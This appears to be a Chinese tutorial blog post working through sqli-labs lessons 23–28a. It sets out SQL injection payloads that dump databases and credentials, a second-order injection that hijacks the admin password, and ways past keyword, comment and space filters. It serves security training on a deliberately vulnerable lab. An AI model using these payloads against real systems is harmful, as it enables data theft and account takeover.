zoukankan      html  css  js  c++  java
  • sqli-labs Less23-Less28a

    Lesson 23 GET - Error Based - strip comments (基于错误的,过滤注释的GET)

    (1)先测试

        ?id=1

        SELECT * FROM users WHERE id='1' LIMIT 0,1

       显示出用户名和密码

    (2)加上一个单引号进行测试

       ?id=1'

       SELECT * FROM users WHERE id='1'' LIMIT 0,1

       出现了报错

      加上注释符进行注释看会不会出错

      ?id=1'--+

      SELECT * FROM users WHERE id='1' ' LIMIT 0,1

       还是出现了报错,查看sql语句发现并没有把新加的单引号注释掉

    (3)这里涉及到代码审计的知识,打开源代码

       发现这里将#--符号都进行了替换,替换成了空。所以我们输入--+进行注释是无效的

    (4)第一种解决方法

      这里有一个只针对于sqli-lab使用的一个特殊符号 ;%00

      ?id=1' ;%00

      SELECT * FROM users WHERE id='1' ;' LIMIT 0,1

       登录成功

      之后使用order by语句判断列数,列数为3

      ?id=1' order by 3;%00

     

      接下来就是老操作,使用union select语句进行联合查询(记得id处加-

      ?id=-1' union select 1,2,3;%00

      用户名和密码处显示出23

      接下来查库,查表,查字段,查字段的值

      ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;%00

      ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00

      ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00

      ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00

    (5)第二种方法(报错注入 updatexml语句)

      ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1

       报出数据库名字,剩下的操作就是替换查询语句即可

      Lesson 23结束

    Lesson 24 Second Degree injections “Real treat” - Store injections(二次注入)

    (1)先登录一下试试(用户名:admin 密码:admin

     

       登录成功

    (2)创建一个新用户(用户名:admin’# 密码:123456

     

     

    (3)登录一下新注册的账号admin’#

       登录成功

    (4)给新注册的账号换密码(用户名:admin’# 密码:12345

     

       更改成功

    (5)尝试登录账号admin(密码是刚刚给admin’#账号改的密码12345,不是之前的admin

     

       登录成功

    (6)解析:

      查看源代码

      设置新用户,名字为admin’#,这个单引号形成了闭合,后面的#注释掉原有的单引号和后面的信息。所以改这个新用户的密码等于改原有admin用户的密码。所以新改的密码能登录之前的用户,形成二次注入。

      Lesson 24结束

    Lesson 25 Trick with OR & AND(过滤了orand)

    (1)先测试

       ?id=1

        SELECT * FROM users WHERE id='1' LIMIT 0,1

       显示正常

      加上单引号(出错)

      添加注释符(恢复正常)

    (2)使用order by语句

      ?id=1' order by 2--+

      SELECT * FROM users WHERE id='1' der by 2-- ' LIMIT 0,1

       显示语句有错误,发现本来是order by但是语句中显示的是der by,说明or被过滤掉了。

       检查源代码发现在这里对orand不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

    (3)我们尝试一下双写,也就是OorRder by,进行绕过

      ?id=1' OorRder by 2--+

       这时发现执行成功,sql语句中也显示完整

    (4)使用union select语句进行联合查询(记得id处加上-

      ?id=-1' union select 1,2,3--+

       回显位置成功

    (5)使用基础查询语句进行查询(查库)

      ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

      SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from infmation_schema.schemata-- ' LIMIT 0,1

       这里进行了报错,查看sql语句发现information中的or也被进行了替换,一定要注意,这里也进行双写

      ?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

       成功(一定要注意,以下也均双写)

    (6)查表

      ?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

    (7)查字段

      ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

    (8)查字段的值(这里注意password中也含or,记得双写)

      ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

    (9)这里也可以使用updatexml()报错查询进行查询

      ?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1--+

       查询出来信息,这里最好不用group_concat(),因为会显示不完整。最好使用limit语句进行遍历。

      Lesson 25结束

    Lesson 25a Trick with OR & AND Blind(过滤了orand的盲注)

    (1)先测试

       ?id=1

        SELECT * FROM users WHERE id=1 LIMIT 0,1

       显示正常(这里1没有单引号进行包括)

       查看源代码,发现也对orand不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

    (2)因为这里并没有对id进行包括,直接用order by进行测试(记得测试)

      ?id=1 oorrder by 3--+

    (3)使用union select语句进行联合查询(记得id处加上-

      ?id=-1 union select 1,2,3--+

       回显正常

    (4)接下来操作和之前一样

        接下来的操作不再演示

      Lesson 25a结束

    Lesson 26 (failed) Trick with comments and space(过滤了注释和空格的注入)

    (1)先测试

       ?id=1

       SELECT * FROM users WHERE id='1' LIMIT 0,1

       显示正常

      根据sql语句,加上单引号和注释符

      ?id=1'--+

      SELECT * FROM users WHERE id='1'' LIMIT 0,1

       这里出现了报错,sql语句中并没有显示注释符--

      查看一下源代码

       发现这里有很多注释符包括or,空格和and皆被替换成空

    (2)这里可以使用一个特殊的注释符 ;%00 进行绕过

       ?id=1' ;%00

       SELECT * FROM users WHERE id='1';' LIMIT 0,1

    (3)这里先使用报错注入方法(updatexml()or||进行替换使用) 记得后面要进行闭合

      ?id=1'  ||  updatexml(1,concat(0x7e, ( database( ) )),1) ;%00

      SELECT * FROM users WHERE id='1'||updatexml(1,concat(0x7e,(database())),1);' LIMIT 0,1

      或者

     

       这里显示出信息

      如果存在空格,可将其内容用括号包裹

    (4)继续

     

      显示出信息表信息

      剩下的太长了,不再进行展示

      Lesson 26结束

    Lesson 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了注释和空格的盲注)

    (1)先测试

      ?id=1

      SELECT * FROM users WHERE id=('1') LIMIT 0,1

       显示成功,id值被单引号和单括号包裹

      加上单引号和一个括号,并注释掉。(再次尝试寻常注释符不管用,还是用;%00

      ?id=1');%00

       返回成功

      也可使用这个语句

     

      查看一下源代码

       这里有很多注释符包括or,空格和and皆被替换成空

      看看与26关有什么不同

      26

      26a

       两者不同处在于,26关会返回报错信息,而26a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

    (2)使用order by语句进行测试,注意双写和空格替换

      ?id=1') %a0 oorrder %a0 by %a0 3 ;%00

       成功,还是3

    (3)使用union select进行联合查询(记得加-

      ?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00

      或者

     

       回显出位置

      接下来继续按照之前那样就可以了

      Lesson 26a结束

    Lesson 27 GET - Error Based - All your UNION & SELECT belong to us(过滤了unionselect的注入)

    (1)先测试

      ?id=1

      SELECT * FROM users WHERE id='1' LIMIT 0,1

       显示正常,id值由单引号包裹

      加一个单引号和注释符

      ?id=1' ;%00

      查看源代码

       过滤替换掉更多,这一关算上之前的又替换了unionselectSelectUnionUNIONSELECT。(有大小写)

    2)使用order by语句进行测试,注意双写和空格替换

     

       成功,还是3

    3)使用union select进行联合查询(记得破坏id值,注意混合大小写)

      ?id=1111' %a0 uNion %a0 sElect %a0 1,2,3 ;%00

       回显成功

      接下来还是常规操作

      这里也可以使用报错注入,不再展示

      Lesson 27结束

    Lesson 27a GET - Blind Based - All your UNION & SELECT belong to us(过滤了unionselect的盲注)

    (1)先测试

      ?id=1

      SELECT * FROM users WHERE id="1" LIMIT 0,1

       显示正常,id值被双引号包裹(若没有sql语句如何判断,输入一个符号若出现错误说明有可能有注入,再加上注释符就无错了,说明就是确实有注入

      加上双引号和注释符

      ?id=1" ;%00

      或:

     

      查看源代码看与27关有何不同

      27

      27a

       两者不同处在于,27关会返回报错信息,而27a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

      这时使用联合查询即可

    (2)使用union select进行联合查询(记得破坏id值,注意混合大小写)

      ?id=1111" %a0 uNion %a0 sElect %a0 1,2,3 ;%00

       回显出位置

    (3)接下来的操作如常,只展示一个

      ?id=1111" %a0 uNion %a0 sElect %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00

      接下来不再展示

      Lesson 27a结束

    Lesson 28 GET - Error Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于错误的,有括号的单引号字符型,过滤了unionselect等的注入)

    (1)先测试

      ?id=1

      SELECT * FROM users WHERE id=('1') LIMIT 0,1

       显示正常,id值被单引号和括号包裹

      加上单引号和单括号,加上注释符

      ?id=1') ;%00

      查看源代码

       其中,注释符被替换,UNIONSELECT被替换

      无法使用报错注入

    (2)使用union select语句进行联合查询(注意空格替换,大小写)

      ?id=11111') %a0 union %a0 select %a0 1,2,3;%00

      或者:

     

      回显出位置

      接下来操作跟之前一样

      Lesson 28结束

    Lesson 28a GET - Bind Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于盲注的,有括号的单引号字符型,过滤了unionselect等的注入)

    (1)先测试

      ?id=1

      SELECT * FROM users WHERE id=('1') LIMIT 0,1

       显示正常,id值被单引号和括号包裹

      加上单引号和单括号,加上注释符

      ?id=1') --+

      这次加上寻常的注释符也可以了

      查看源代码

       这次这些替换语句都被注释掉了,只留下了unionselect被替换

      也不能进行报错注入

    (2)使用order by语句进行查询

       成功,仍为3

    (3)使用union select进行联合查询

      ?id=1') union select 1,2,3--+

      出错了,看一下回显的提示,发现并没有union select,它们被替换了

      尝试混合大小写

      ?id=1') uNion sElect 1,2,3--+

       还是不显示

      再加上%a0试试

      ?id=1111') %a0 uNion %a0 sElect 1,2,3--+

       回显成功

      接下来常规操作,不再展示

      Lesson 28a结束

  • 相关阅读:
    Layui表格之动态添加数据(表格多选解决方案)
    Ztree勾选节点后取消勾选其父子节点
    如何判断某个元素在页面上是否存在
    Linux环境搭建SVN服务
    Linux环境下验证码不显示F12报500
    Ztree节点前加上两个自定义按钮
    解决window.location.href参数太长
    Ztree加载完成默认选中根节点右侧生成表格
    输入框点击下滑Ztree菜单
    Mybatis中and和or的细节处理
  • 原文地址:https://www.cnblogs.com/zhaihuijie/p/12530717.html
Copyright © 2011-2022 走看看